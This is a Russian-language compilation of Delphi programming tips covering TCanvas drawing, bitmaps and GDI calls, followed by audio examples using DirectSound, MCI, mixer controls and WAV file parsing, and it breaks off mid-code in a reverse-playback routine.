LineTo Рисует линию начиная с текущей позиции (см. MoveTo) до указанных координат x и y. Canvas.LineTo(50, 100);

Эффект перемещения точки начала рисования линии так же достигается при помощи установки своства PenPos в канвасе... например, "Canvas.PenPos.x := 20;", "Canvas.PenPos.y := 50", или "Canvas.PenPos := Point(20,50);".

По умолчанию, точка начала рисования установлена в (0,0), то есть, если сразу вызвать "Canvas.LineTo(100,100);" то будет нарисована линия из точки (0,0) в точку (100, 100). Точка начала рисования автоматически переместится в (100, 100), то есть, если выполнить команду "Canvas.LineTo(200, 100);", то следующая линия будет нарисована из точки (100, 100) в (200, 100). Поэтому, если мы хотим рисовать линии несоединённые друг с другом, то придётся воспользоваться методом MoveTo.

Линия, нарисованная при помощи LineTo использует текущее перо канваса (типа TPen). Основные свойства пера, это ширина - "Canvas.Pen.Width := 4;" (при помощи которого можно задавать различную ширину линий), и цвет "Canvas.Pen.Color := clLime;".

Взглянем на простой пример беспорядочного рисования разноцветных линий:

procedure TForm1.FormCreate(Sender: TObject);
begin
  // инициализируем генератор
  // случайных чисел
  Randomize;
end;

const
  NUM_LINES = 2000;

procedure TForm1.DrawLines;
var
  i: Integer;
begin
  for i := 0 to NUM_LINES - 1 do
  begin
    Canvas.Pen.Color :=
      RGB(Random(256),
      Random(256),
      Random(256));
    Canvas.LineTo
      (Random(ClientWidth),
      Random(ClientHeight));
  end;
end;

Процедура DrawLines вызывается из обработчика кнопки OnClick. Количество линий задаётся в константе NUM_LINES. Между прочим, функция RGB, составляет цвет каждой линии из трёх основных составляющих: красного, зелёного и синего (значения от 0 до 255) и возвращает нам цвет в виде TColor.

Рисование фигур

Для рисования фигур, в TCanvas предусмотрены следующие функции:

Ellipse Рисует элипс, вписанный в невидимый квадрат с координатами верхнего левого угла и правого нижнего. Если координаты х и y у углов будут совпадать, то получится круг. Canvas.Ellipse(0,0,50,50);

FillRect Заполняет прямоугольник цветом текущей кисти (brush), но никак не за пределами него. Canvas.FillRect( Bounds(0,0,100,100));

FloodFill Заполняет данную область цветом текущей кисти, до тех пор пока не будет достигнут край. Canvas.FloodFill(10, 10, clBlack, fsBorder);

Rectangle Рисует прямоугольник (или квадрат), заполненный цветом текущей кисти и обрамлённый цветом текущего пера Canvas.Rectangle( Bounds(20, 20, 50, 50));

RoundRect Тоже, что и Rectangle, но с загруглёнными углами. Canvas.RoundRect( 20, 20, 50, 50, 3, 3);

Ещё есть очень нужная функция TextOut, которая позволяет рисовать текст, используя шрифт, заданный в канвасе:

TextOut Рисует данную строку на канвасе начиная с координат (x,y) - фон текста заполняется текущим цветом кисти. Canvas.TextOut(10, 10, 'Some text');

Кстати, функция позволяет рисовать текст, не заполняя его фон. Если Вам необходимо изменить шрифт, используемый в TextOut, то необходимо изменить свойство Font канваса (это свойство имеет тип TFont) - например "Canvas.Font.Name := 'Verdana';", "Canvas.Font.Size := 24;" или "Canvas.Font.Color := clRed;".

Вкратце хотелось бы обратить Ваше внимание на довольно полезный класс TRect, который умеет хранить в себе значения лево, право, верха и низа (кстати, в Windows API это RECT). То ест, достаточно указать левую и верхнюю координату и ширину и высоту области, а TRect автоматически подставит в виде (лево, верх, лево + ширина, верх + высота). Ещё есть другая функция Rect(), которая делает тоже самое, но координаты в ней задаются напрямую как лево, право, верх и низ. Ну и по желанию, можно использовать API функцию SetRect.

Ниже представлен пример, который рисует случайным образом различные фигуры:

const
  NUM_SHAPES = 200;

procedure TForm1.DrawShapes;
var
  i, ShapeLeft, ShapeTop: Integer;
begin
  for i := 0 to NUM_SHAPES - 1 do
  begin
    Canvas.Brush.Color :=
      RGB(Random(256),
      Random(256),
      Random(256));
    ShapeLeft := Random(ClientWidth);
    ShapeTop := Random(ClientHeight);
    // теперь, случайным образом, решаем что рисовать
    case Random(3) of
      0: Canvas.Rectangle(ShapeLeft,
          ShapeTop,
          ShapeLeft + Random(50),
          ShapeTop + Random(50));
      1: Canvas.Ellipse(ShapeLeft,
          ShapeTop,
          ShapeLeft + Random(50),
          ShapeTop + Random(50));
      2:
        begin
          Canvas.Font.Size := 10 + Random(7); // от 10 до 16
          Canvas.TextOut(ShapeLeft, ShapeTop, 'Some text');
        end;
    end;
  end;
end;

Как Вы уже успели заметить, некоторые фигурки имеют цвет рамки, отличающийся от того цвета, которым заполнена фигура. Это как раз тот момент, о котором я упоминал выше. Кистью мы заполняем объекты, а пером обрамляем. Если цвет кисти (brush) меняется случайным образом, то цвет пера(pen) остаётся постоянным. Из-за этого и получается такая картина.

Перерисовка окна

Теперь давайте разберёмся, почему в самом первом примере у нас стирались линии при перемещении формы за границы экрана. А именно, нам нужно выяснить разницу между "рисованием" и "перерисовкой".

Рисование, это то, что мы делали выше. То есть, рисовали любые линии и графические фигуры. Однако, рисунок сохранялся до тех пор, пока окно(форма) не было обновлено.

Перерисовка несколько отличается от понятия "рисование". Когда окну необходимо перерисоваться, то Windows посылает определённое сообщение. Это сообщение поступает в обработчик события "OnPaint". Любой код, который поместить в обработчик OnPaint будет вызван каждый раз, когда форме необходимо обновиться.

Для примера, поместите следующий код в проект:

procedure TForm1.DrawSomeText;
begin
  Canvas.TextOut(10, 10, 'Some text');
end;

Если поместить на форму кнопку и вызывать DrawSomeText из обработчика кнопки OnClick, то проблема с исчезновением текста при перемещении формы останется. ОДНАКО, если вызвать DrawSomeText из обработчика формы OnPaint, то текст останется на своём месте окончательно.

Дескрипторы, или как пользоваться аналогичными API функциями

Итак, мы научились рисовать линии, различные фигуры, научились делать так, чтобы наше творение не стиралось при перемещении формы, и проделали мы всё это при помощи стандартных функций VCL (таких как Canvas.TextOut и т.д.). Однако, что делать, если Вы не хотите пользоваться графическими функциями VCL, которые всего навсего являются надстройками над аналогичными функциями из Windows API? Пожалуйста! Никто нам не запрещает пользоваться API функциями напрямую! Но постойте-ка, все они требуют какого-то HDC! Что такое HDC?

Почти всё в Windows использует "Дескриптор" (Handle). Дескриптор, это способ идентификации Вашего объекта в системе. У каждого окна есть свой дескриптор, у каждой кнопки тоже есть свой дескриптор и т.д. Именно поэтому все наши объекты имеют дескриптор в качестве свойства - например, "MyForm.Canvas.Handle".

Тип HDC это Дескриптор(Handle) Контекста Устройства (Device Context). Я уже говорил в самом начале, что TCanvas включает в себя большинство функций DC. Поэтому, мы спокойно можем подставлять свойство канваса Handle везде, где нам это потребуется.

Ради интереса можно взглянуть на таблицу, в которой представлены примеры вызовов некоторых функций из VCL и их аналогов из Windows API.

Canvas.TextOut(x,y,myString);       TextOut(Canvas.Handle, x, y, PChar(myString), Length(String));

Canvas.FloodFill(X, Y, Color,fsBorder);    ExtFloodFill(Canvas.Handle, x, y, YourColour, FLOODFILLBORDER);

Canvas.LineTo(x,y);             LineTo(Canvas.Handle, x, y);

Canvas.MoveTo(x,y);             MoveToEx(Canvas.Handle, x, y, nil);

Так же можно использовать разные дескрипторы, чтобы рисовать в разных местах. Например, можно использовать "SomeBmp.Canvas.Handle" для рисования на картинке (битмапе), либо "Form1.Canvas.Handle", чтобы рисовать на форме.

В API версии функции TextOut необходимо передавать строку завершённую нулём. Это значит, что вместо того, чтобы передать строку в функцию напрямую, необходимо передать её как PChar. Так же не забывайте передавать в функцию длину строки. Для этого можно воспользоваться функцией Length.

Ну что, Вам уже захотелось поместить на форму какую-нибудь красивую картинку ?

Что такое Битмапы (Bitmaps)?

Рисование линий, это, конечно, хорошо, но рано или поздно Вам понадобится нарисовать более реалистичную картнику в своём приложении. Поэтому совершенно необходимо научиться работать с растровыми изображениями, или как их называют в среде программистов - битмапами.

Битмап, это графический объект, который содержит заголовок, необходимую информацию о картинке (такую как высота, ширина, цвета и т.д.) и, собственно, само изображение (большой массив, содержащий цвет каждой точки). В Delphi для этой цели уже предусмотрен класс TBitmap.

Битмапы можно рисовать не только на форме, но и по всему экрану. Может это и может показаться немного странным, но иногда это бывает полезно, особенно при создании скринсейвера. Однако, сначала нам необходимо разобраться с тем, как работать с битмапами. Вот небольшой пример:

procedure Form1.DrawBitmap(const Filename: string; const x, y: Integer);
var
  Bmp: TBitmap;
begin
  // Сперва убедимся, что файл существует!
  if not FileExists(Filename) then
  begin
    ShowMessage('The bitmap ' + Filename + ' was not found!');
    Exit;
  end;

  Bmp := TBitmap.Create;
  try
    Bmp.LoadFromFile(Filename);
    Canvas.Draw(x, y, Bmp);
  finally
    Bmp.Free;
  end;
end;

Эта функция пытается загрузить и показать картинку, (с именем Filename, например 'myBitmap.bmp') начиная с точки (x,y).

Сразу скажу, что эта функция довольно неэффективна. Она создаёт и уничтожает битмап каждый раз когда вызывается, а так же каждый раз проверяет существование файла. Лучше объявлять объект TBitmap как часть формы, создавать и загружать картинку в FormCreate, а освобождать её в FormDestroy.

Функции рисования в GDI

TCanvas имеет несколько полезных функций, которые работают с типом TGraphic. Тип TGraphic является базовым классом для графических объектов в Delphi, таких как: битмапы (TBitmap), иконки (TIcon), метафайлы (TMetafile) и JPEG-и (TJPEGImage). Все они используют одни и те же функции, которые приведены в таблице:

Все эти функции являются методами TCanvas.

Draw Рисует TGraphic на канвасе так как он есть, не растягивая. Canvas.Draw(5,10,MyGraphic);

StrechDraw Рисует TGraphic на канвасе, подгоняя (растягивая) его под заданную область. Canvas.StretchDraw( Bounds(0,0,32,32), MyGraphic);

CopyRect Копирует часть TCanvas-а в другой, при необходимости растягивая его. Canvas.CopyRect( Bounds(0,0,32,32), MyBmp.Canvas, Bounds(0, 0, 640, 480));

TCanvas.Draw является обёрткой для API функции BitBlt:

function BitBlt(
  hdcDest: HDC; // дескриптор конечного контекста устройства
  nXDest, // коорд. x верхнего левого угла конечного прямоугольника
  nYDest, // коорд. y верхнего левого угла конечного прямоугольника
  nWidth, // ширина конечного прямоугольника
  nHeight: Integer; // высота конечного прямоугольника
  hdcSrc: HDC; // дескриптор исходного контекста устройства
  nXSrc, // коорд. x верхнего левого угла исходного прямоугольника
  nYSrc: Integer; // коорд. y верхнего левого угла исходного прямоугольника
  dwRop: DWORD // код растровой операции
  ): Boolean;

Описанный выше способ позволяет рисовать битмап в run-time. Конечно, проще поместить на форму TImage и установить в ней картинку. Изображение будет постоянно оставаться на том месте, где Вы его поместили, но это скучно ;-). Куда интереснее сделать при помощи битмапов анимацию.

С другой стороны, поняв принципы работы с битмапами, Вам будет легче перейти к другим графическим библиотекам (например DirectX).

Взято с http://delphiworld.narod.ru


Работа со звуком

Cодержание раздела:

пример использования DirectSound на Delphi
Как проиграть файл не используя MediaPlayer ?
Как проиграть Wave-ресурс?
Как проигрывать 2 звука одновременно?
Как выключить звук?
Как определить продолжительность в секундах wav файла?
Как проиграть wave file в обратную сторону?
Как вывести звук через звуковую карту?
Как экстрагировать аудиодорожку из AVI файла?
Как изменить уровень громкости микрофона?
Как играть MIDI без медиаплеера?
Как определить bitrate WAV файла?
Как проиграть wav из ресурса не сохраняя его в файл?
Как проиграть ноту?
Изменить громкость
Низкоуровневые процедуры обработки звука
Как использовать в своей программе API DirectSound и DirectSound3D
Создание пустого wav-файла
Как получить длину wav в секундах? New!

См. также другие разделы:
MediaPlayer
Звук

См. также статьи в других разделах:
BEEP для дельфи, который работает, как в TP
Как прочитать заголовок wav файла?
Как разрезать wav файл?
Пример работы чтения и сохранении wav-файлов
Формат wave файла
Декомпилляция звукового файла формата Wave и получение звуковых данных
Сыграть звуковой файл без компонентов New!


пример использования DirectSound на Delphi

рабочий пример использования DirectSound на Delphi + несколько полезных
процедур. В этом примере создается один первичный SoundBuffer и 2
статических, вторичных; в них загружаются 2 WAV файла.
Первичный буфер создается процедурой AppCreateWritePrimaryBuffer,
а любой вторичный - AppCreateWritePrimaryBuffer. Так как
вторичный буфер связан с WAV файлом, то при создании
буфера нужно определить его параметры в соответствии
со звуковым файлом, эти характеристики (Samples, Bits, IsStereo)
задаются в виде параметров процедуры. Time - время WAV'файла
в секундах (округление в сторону увеличения).

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    DirectSound: IDirectSound;
    DirectSoundBuffer: IDirectSoundBuffer;
    SecondarySoundBuffer: array[0..1] of IDirectSoundBuffer;
    procedure AppCreateWritePrimaryBuffer;
    procedure AppCreateWriteSecondaryBuffer(var Buffer: IDirectSoundBuffer;
      SamplesPerSec: Integer;
      Bits: Word;
      isStereo: Boolean;
      Time: Integer);
    procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
      OffSet: DWord; var SoundData;
      SoundBytes: DWord);
    procedure CopyWAVToBuffer(Name: PChar; var Buffer: IDirectSoundBuffer);
{ Private declarations }
  public
{ Public declarations }
  end;

var

  Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
    raise Exception.Create('Failed to create IDirectSound object');
  AppCreateWritePrimaryBuffer;
  AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[0], 22050, 8, False, 10);
  AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[1], 22050, 16, True, 1);
end;

procedure TForm1.FormDestroy(Sender: TObject);
var i: ShortInt;
begin
  if Assigned(DirectSoundBuffer) then DirectSoundBuffer.Release;
  for i := 0 to 1 do
    if Assigned(SecondarySoundBuffer[i]) then SecondarySoundBuffer[i].Release;
  if Assigned(DirectSound) then DirectSound.Release;
end;

procedure TForm1.AppWriteDataToBuffer;
var
  AudioPtr1, AudioPtr2: Pointer;
  AudioBytes1, AudioBytes2: DWord;
  h: HResult;
  Temp: Pointer;
begin
  H := Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
    AudioPtr2, AudioBytes2, 0);
  if H = DSERR_BUFFERLOST then
    begin
      Buffer.Restore;
      if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
        AudioPtr2, AudioBytes2, 0) <> DS_OK then
        raise Exception.Create('Unable to Lock Sound Buffer');
    end
  else
    if H <> DS_OK then raise Exception.Create('Unable to Lock Sound Buffer');
  Temp := @SoundData;
  Move(Temp^, AudioPtr1^, AudioBytes1);
  if AudioPtr2 <> nil then
    begin
      Temp := @SoundData; Inc(Integer(Temp), AudioBytes1);
      Move(Temp^, AudioPtr2^, AudioBytes2);
    end;
  if Buffer.UnLock(AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2) <> DS_OK
    then raise Exception.Create('Unable to UnLock Sound Buffer');
end;

procedure TForm1.AppCreateWritePrimaryBuffer;
var BufferDesc: DSBUFFERDESC;
  Caps: DSBCaps;
  PCM: TWaveFormatEx;
begin
  FillChar(BufferDesc, SizeOf(DSBUFFERDESC), 0);
  FillChar(PCM, SizeOf(TWaveFormatEx), 0);
  with BufferDesc do
    begin
      PCM.wFormatTag := WAVE_FORMAT_PCM;
      PCM.nChannels := 2;
      PCM.nSamplesPerSec := 22050;
      PCM.nBlockAlign := 4;
      PCM.nAvgBytesPerSec := PCM.nSamplesPerSec
      PCM.wBitsPerSample := 16;
      PCM.cbSize := 0;
      dwSize := SizeOf(DSBUFFERDESC);
      dwFlags := DSBCAPS_PRIMARYBUFFER;
      dwBufferBytes := 0;
      lpwfxFormat := nil;
    end;
  if DirectSound.SetCooperativeLevel(Handle, DSSCL_WRITEPRIMARY) <> DS_OK
    then raise Exception.Create('Unable to set Coopeative Level');
  if DirectSound.CreateSoundBuffer(BufferDesc, DirectSoundBuffer, nil) <> DS_OK
    then raise Exception.Create('Create Sound Buffer failed');
  if DirectSoundBuffer.SetFormat(PCM) <> DS_OK
    then raise Exception.Create('Unable to Set Format ');
  if DirectSound.SetCooperativeLevel(Handle, DSSCL_NORMAL) <> DS_OK
    then raise Exception.Create('Unable to set Coopeative Level');
end;

procedure TForm1.AppCreateWriteSecondaryBuffer;
var BufferDesc: DSBUFFERDESC;
  Caps: DSBCaps;
  PCM: TWaveFormatEx;
begin
  FillChar(BufferDesc, SizeOf(DSBUFFERDESC), 0);
  FillChar(PCM, SizeOf(TWaveFormatEx), 0);
  with BufferDesc do
    begin
      PCM.wFormatTag := WAVE_FORMAT_PCM;
      if isStereo then
        PCM.nChannels := 2
      else
        PCM.nChannels := 1;
      PCM.nSamplesPerSec := SamplesPerSec;
      PCM.nBlockAlign := (Bits div 8) * PCM.nChannels;
      PCM.nAvgBytesPerSec := PCM.nSamplesPerSec * PCM.nBlockAlign;
      PCM.wBitsPerSample := Bits;
      PCM.cbSize := 0;
      dwSize := SizeOf(DSBUFFERDESC);
      dwFlags := DSBCAPS_STATIC;
      dwBufferBytes := Time * PCM.nAvgBytesPerSec;
      lpwfxFormat := @PCM;
    end;
  if DirectSound.CreateSoundBuffer(BufferDesc, Buffer, nil) <> DS_OK
    then raise Exception.Create('Create Sound Buffer failed');
end;

procedure TForm1.CopyWAVToBuffer;
var Data: PChar;
  FName: TFileStream;
  DataSize: DWord;
  Chunk: string[4];
  Pos: Integer;
begin
  FName := TFileStream.Create(Name, fmOpenRead);
  Pos := 24;
  SetLength(Chunk, 4);
  repeat
    FName.Seek(Pos, soFromBeginning);
    FName.Read(Chunk[1], 4);
    Inc(Pos);
  until Chunk = 'data';
  FName.Seek(Pos + 3, soFromBeginning);
  FName.Read(DataSize, SizeOf(DWord));
  GetMem(Data, DataSize);
  FName.Read(Data^, DataSize);
  FName.Free;
  AppWriteDataToBuffer(Buffer, 0, Data^, DataSize);
  FreeMem(Data, DataSize);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  CopyWAVToBuffer('1.wav', SecondarySoundBuffer[0]);
  CopyWAVToBuffer('flip.wav', SecondarySoundBuffer[1]);
  if SecondarySoundBuffer[0].Play(0, 0, 0) <> DS_OK
    then ShowMessage('Can not play the Sound');
  if SecondarySoundBuffer[1].Play(0, 0, 0) <> DS_OK
    then ShowMessage('Can not play the Sound');
end;

end.

Взято с сайта http://blackman.wp-club.net/


Как проиграть файл не используя MediaPlayer ?

PlaySound('c:\....\*.wav',0,SND_FILENAME)

Взято с сайта http://blackman.wp-club.net/


Как проиграть Wave-ресурс?

Сначала делаешь файл SOUND.RC, в нем строка вида: MY_WAV RCDATA TEST.WAV
Компилишь чем-нибyдь в *.RES

Далее в тексте:
{$R полное_имя_файла_с_ресурсом}

var WaveHandle: THandle;
  WavePointer: pointer;
  ...
    WaveHandle := FindResource(hInstance, 'MY_WAV', RT_RCDATA);
  if WaveHandle <> 0 then
    begin
      WaveHandle := LoadResource(hInstance, WaveHandle);
      if WaveHandle <> 0 then
        begin;
          WavePointer := LockResource(WaveHandle);

          PlayResourceWave := sndPlaySound(WavePointer, snd_Memory or
            SND_ASYNC);
          UnlockResource(WaveHandle);
          FreeResource(WaveHandle);
        end;
    end;

Serg Vostrikov
(2:5053/15.3)

Взято с сайта http://blackman.wp-club.net/


Как проигрывать 2 звука одновременно?

uses
  MMSystem;

procedure SendMCICommand(Cmd: string);
var
  RetVal: Integer;
  ErrMsg: array[0..254] of char;
begin
  RetVal := mciSendString(PChar(Cmd), nil, 0, 0);
  if RetVal <> 0 then
  begin
    {get message for returned value}
    mciGetErrorString(RetVal, ErrMsg, 255);
    MessageDlg(StrPas(ErrMsg), mtError, [mbOK], 0);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  SendMCICommand('open waveaudio shareable');
  SendMCICommand('play "C:\xyz\BackgroundMusic.wav"');
  SendMCICommand('play "C:\xyz\AnotherMusic.wav"');
  SendMCICommand('close waveaudio');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как выключить звук?

uses
  MMSystem;

function GetMasterMute(
  Mixer: hMixerObj;
  var Control: TMixerControl): MMResult;
  // Returns True on success
var
  Line: TMixerLine;
  Controls: TMixerLineControls;
begin
  ZeroMemory(@Line, SizeOf(Line));
  Line.cbStruct := SizeOf(Line);
  Line.dwComponentType := MIXERLINE_COMPONENTTYPE_DST_SPEAKERS;
  Result := mixerGetLineInfo(Mixer, @Line,
    MIXER_GETLINEINFOF_COMPONENTTYPE);
  if Result = MMSYSERR_NOERROR then
  begin
    ZeroMemory(@Controls, SizeOf(Controls));
    Controls.cbStruct := SizeOf(Controls);
    Controls.dwLineID := Line.dwLineID;
    Controls.cControls := 1;
    Controls.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;
    Controls.cbmxctrl := SizeOf(Control);
    Controls.pamxctrl := @Control;
    Result := mixerGetLineControls(Mixer, @Controls,
      MIXER_GETLINECONTROLSF_ONEBYTYPE);
  end;
end;

procedure SetMasterMuteValue(
  Mixer: hMixerObj;
  Value: Boolean);
var
  MasterMute: TMixerControl;
  Details: TMixerControlDetails;
  BoolDetails: TMixerControlDetailsBoolean;
  Code: MMResult;
begin
  Code := GetMasterMute(0, MasterMute);
  if Code = MMSYSERR_NOERROR then
  begin
    with Details do
    begin
      cbStruct := SizeOf(Details);
      dwControlID := MasterMute.dwControlID;
      cChannels := 1;
      cMultipleItems := 0;
      cbDetails := SizeOf(BoolDetails);
      paDetails := @BoolDetails;
    end;
    LongBool(BoolDetails.fValue) := Value;
    Code := mixerSetControlDetails(0, @Details,
MIXER_SETCONTROLDETAILSF_VALUE);
  end;
  if Code <> MMSYSERR_NOERROR then
    raise Exception.CreateFmt('SetMasterMuteValue failure, '+
      'multimedia system error #%d', [Code]);
end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);
begin
  SetMasterMuteValue(0, CheckBox1.Checked); // Mixer device #0 mute on/off
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как определить продолжительность в секундах wav файла?

uses
  MPlayer, MMsystem;

type
  EMyMCIException = class(Exception);
  TWavHeader = record
    Marker1: array[0..3] of Char;
    BytesFollowing: Longint;
    Marker2: array[0..3] of Char;
    Marker3: array[0..3] of Char;
    Fixed1: Longint;
    FormatTag: Word;
    Channels: Word;
    SampleRate: Longint;
    BytesPerSecond: Longint;
    BytesPerSample: Word;
    BitsPerSample: Word;
    Marker4: array[0..3] of Char;
    DataBytes: Longint;
  end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Header: TWavHeader;
begin
  with TFileStream.Create('C:\SomeFile.wav', fmOpenRead) do
    try
      ReadBuffer(Header, SizeOf(Header));
    finally
      Free;
    end;
  ShowMessage(FloatToStr((Int64(1000) * header.DataBytes div header.BytesPerSecond) / 1000));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

function GetWaveLength(WaveFile: string): Double;
var
    groupID: array[0..3] of char;
    riffType: array[0..3] of char;
    BytesPerSec: Integer;
    Stream: TFileStream;
    dataSize: Integer;
  // chunk seeking function,
  // -1 means: chunk not found

  function GotoChunk(ID: string): Integer;
  var
      chunkID: array[0..3] of char;
      chunkSize: Integer;
  begin
      Result := -1;

    with Stream do
        begin
             // index of first chunk
          Position := 12;
        repeat
             // read next chunk
          Read(chunkID, 4);
          Read(chunkSize, 4);
           if chunkID <> ID then
             // skip chunk
         Position := Position + chunkSize;
          until(chunkID = ID) or (Position >= Size);
          if chunkID = ID then
               // chunk found,
             // return chunk size
            Result := chunkSize;
        end;
  end;

begin
    Result := -1;
    Stream := TFileStream.Create(WaveFile, fmOpenRead or fmShareDenyNone);
    with Stream do
        try
          Read(groupID, 4);
        Position := Position + 4; // skip four bytes (file size)
        Read(riffType, 4);

        if(groupID = 'RIFF') and (riffType = 'WAVE') then
           begin
              // search for format chunk
           if GotoChunk('fmt') <> -1 then
              begin
                // found it
              Position := Position + 8;
              Read(BytesPerSec, 4);
                 //search for data chunk
                dataSize := GotoChunk('data');

                if dataSize <> -1 then
                     // found it
                  Result := dataSize / BytesPerSec
                end
            end
        finally
          Free;
      end;
end;

This returns the number of seconds as a floating point number, which is not necessarily the most helpful format. Far better to return it as a string representing the time in hours, minutes and seconds. The following function achieves this based on the number of seconds as an integer:

function SecondsToTimeStr(RemainingSeconds: Integer): string;
var
    Hours, Minutes, Seconds: Integer;
    HourString, MinuteString, SecondString: string;
begin
     // Calculate Minutes
    Seconds := RemainingSeconds mod 60;
    Minutes := RemainingSeconds div 60;
    Hours := Minutes div 60;
    Minutes := Minutes - (Hours * 60);

    if Hours < 10 then
       HourString := '0' + IntToStr(Hours) + ':'
     else
       HourString := IntToStr(Hours) + ':';

    if Minutes < 10 then
        MinuteString := '0' + IntToStr(Minutes) + ':'
      else
        MinuteString := IntToStr(Minutes) + ':';

    if Seconds < 10 then
        SecondString := '0' + IntToStr(Seconds)
      else
        SecondString := IntToStr(Seconds);
    Result := HourString + MinuteString + SecondString;
end;

Having created these functions you can call them from any relevant event - for example a button click:

procedure TForm1.Button1Click(Sender: TObject);
var
   Seconds: Integer;
begin
    Seconds := Trunc(GetWaveLength(Edit1.Text));
    //gets only the Integer part of the length
    Label1.Caption := SecondsToTimeStr(Seconds);
end;

You can even reduce this to a single line of code if you prefer:

procedure TForm1.Button1Click(Sender: TObject);
begin
    Label1.Caption := SecondsToTimeStr(Trunc(GetWaveLength(Edit1.Text)));
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как проиграть wave file в обратную сторону?

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, MMSystem;

const
  WM_FINISHED = WM_USER + $200;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    fData: PChar;
    fWaveHdr: PWAVEHDR;
    fWaveOutHandle: HWAVEOUT;

    procedure ReversePlay(const szFileName: string);
    procedure WaveOutProc(hwo: HWAVEOUT; uMsg: UINT; dwParam1,
      dwParam2: DWORD);
    procedure WmFinished(var Msg: TMessage); message WM_FINISHED;

    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure Interchange(hpchPos1, hpchPos2: PChar; wLength: Word);
var
  wPlace: word;
  bTemp: char;
begin
  for wPlace := 0 to wLength - 1 do
  begin
    bTemp := hpchPos1[wPlace];
    hpchPos1[wPlace] := hpchPos2[wPlace];
    hpchPos2[wPlace] := bTemp
  end
end;

{
  Callback function to be called during waveform-audio playback
  to process messages related to the progress of t he playback.
}

procedure waveOutPrc(hwo: HWAVEOUT; uMsg: UINT; dwInstance,
  dwParam1, dwParam2: DWORD); stdcall;
begin
  TForm1(dwInstance).WaveOutProc(hwo, uMsg, dwParam1, dwParam2)
end;

procedure TForm1.WaveOutProc(hwo: HWAVEOUT; uMsg: UINT; dwParam1,
  dwParam2: DWORD);
begin
  case uMsg of
    WOM_OPEN:;
    WOM_CLOSE:
      fWaveOutHandle := 0;
    WOM_DONE:
      PostMessage(Handle, WM_FINISHED, 0, 0);
  end
end;

procedure TForm1.ReversePlay(const szFileName: string);
var
  mmioHandle: HMMIO;
  mmckInfoParent: MMCKInfo;
  mmckInfoSubChunk: MMCKInfo;
  dwFmtSize, dwDataSize: DWORD;
  pFormat: PWAVEFORMATEX;
  wBlockSize: word;
  hpch1, hpch2: PChar;
begin
  { The mmioOpen function opens a file for unbuffered or buffered I/O }
  mmioHandle := mmioOpen(PChar(szFileName), nil, MMIO_READ or MMIO_ALLOCBUF);
  if mmioHandle = 0 then
    raise Exception.Create('Unable to open file ' + szFileName);

  try
    { mmioStringToFOURCC converts a null-terminated string to a four-character code }
    mmckInfoParent.fccType := mmioStringToFOURCC('WAVE', 0);
    { The mmioDescend function descends into a chunk of a RIFF file }
    if mmioDescend(mmioHandle, @mmckinfoParent, nil, MMIO_FINDRIFF) <>
      MMSYSERR_NOERROR then raise Exception.Create(szFileName + ' is not a valid wave file');

    mmckinfoSubchunk.ckid := mmioStringToFourCC('fmt ', 0);
    if mmioDescend(mmioHandle, @mmckinfoSubchunk, @mmckinfoParent,
      MMIO_FINDCHUNK) <> MMSYSERR_NOERROR then
      raise Exception.Create(szFileName + ' is not a valid wave file');

    dwFmtSize := mmckinfoSubchunk.cksize;
    GetMem(pFormat, dwFmtSize);

    try
      { The mmioRead function reads a specified number of bytes from a file }
      if DWORD(mmioRead(mmioHandle, PChar(pFormat), dwFmtSize)) <>
        dwFmtSize then
        raise Exception.Create('Error reading wave data');

      if pFormat^.wFormatTag <> WAVE_FORMAT_PCM then
        raise Exception.Create('Invalid wave file format');

      { he waveOutOpen function opens the given waveform-audio output device for playback }
      if waveOutOpen(@fWaveOutHandle, WAVE_MAPPER, pFormat, 0, 0,
        WAVE_FORMAT_QUERY) <> MMSYSERR_NOERROR then
        raise Exception.Create('Cannot play format');

      mmioAscend(mmioHandle, @mmckinfoSubchunk, 0);
      mmckinfoSubchunk.ckid := mmioStringToFourCC('data', 0);
      if mmioDescend(mmioHandle, @mmckinfoSubchunk, @mmckinfoParent,
        MMIO_FINDCHUNK) <> MMSYSERR_NOERROR then
        raise Exception.Create('No data chunk');

      dwDataSize := mmckinfoSubchunk.cksize;
      if dwDataSize = 0 then
        raise Exception.Create('Chunk has no data');

      if waveOutOpen(@fWaveOutHandle, WAVE_MAPPER, pFormat,
        DWORD(@WaveOutPrc), Integer(Self), CALLBACK_FUNCTION) <> MMSYSERR_NOERROR then
      begin
        fWaveOutHandle := 0;
        raise Exception.Create('Failed to open output device');
      end;

      wBlockSize := pFormat^.nBlockAlign;

      ReallocMem(pFormat, 0);
      ReallocMem(fData, dwDataSize);

      if DWORD(mmioRead(mmioHandle, fData, dwDataSize)) <> dwDataSize then
        raise Exception.Create('Unable to read data chunk');

      hpch1 := fData;
      hpch2 := fData + dwDataSize - 1;

      while hpch1 < hpch2 do
      begin
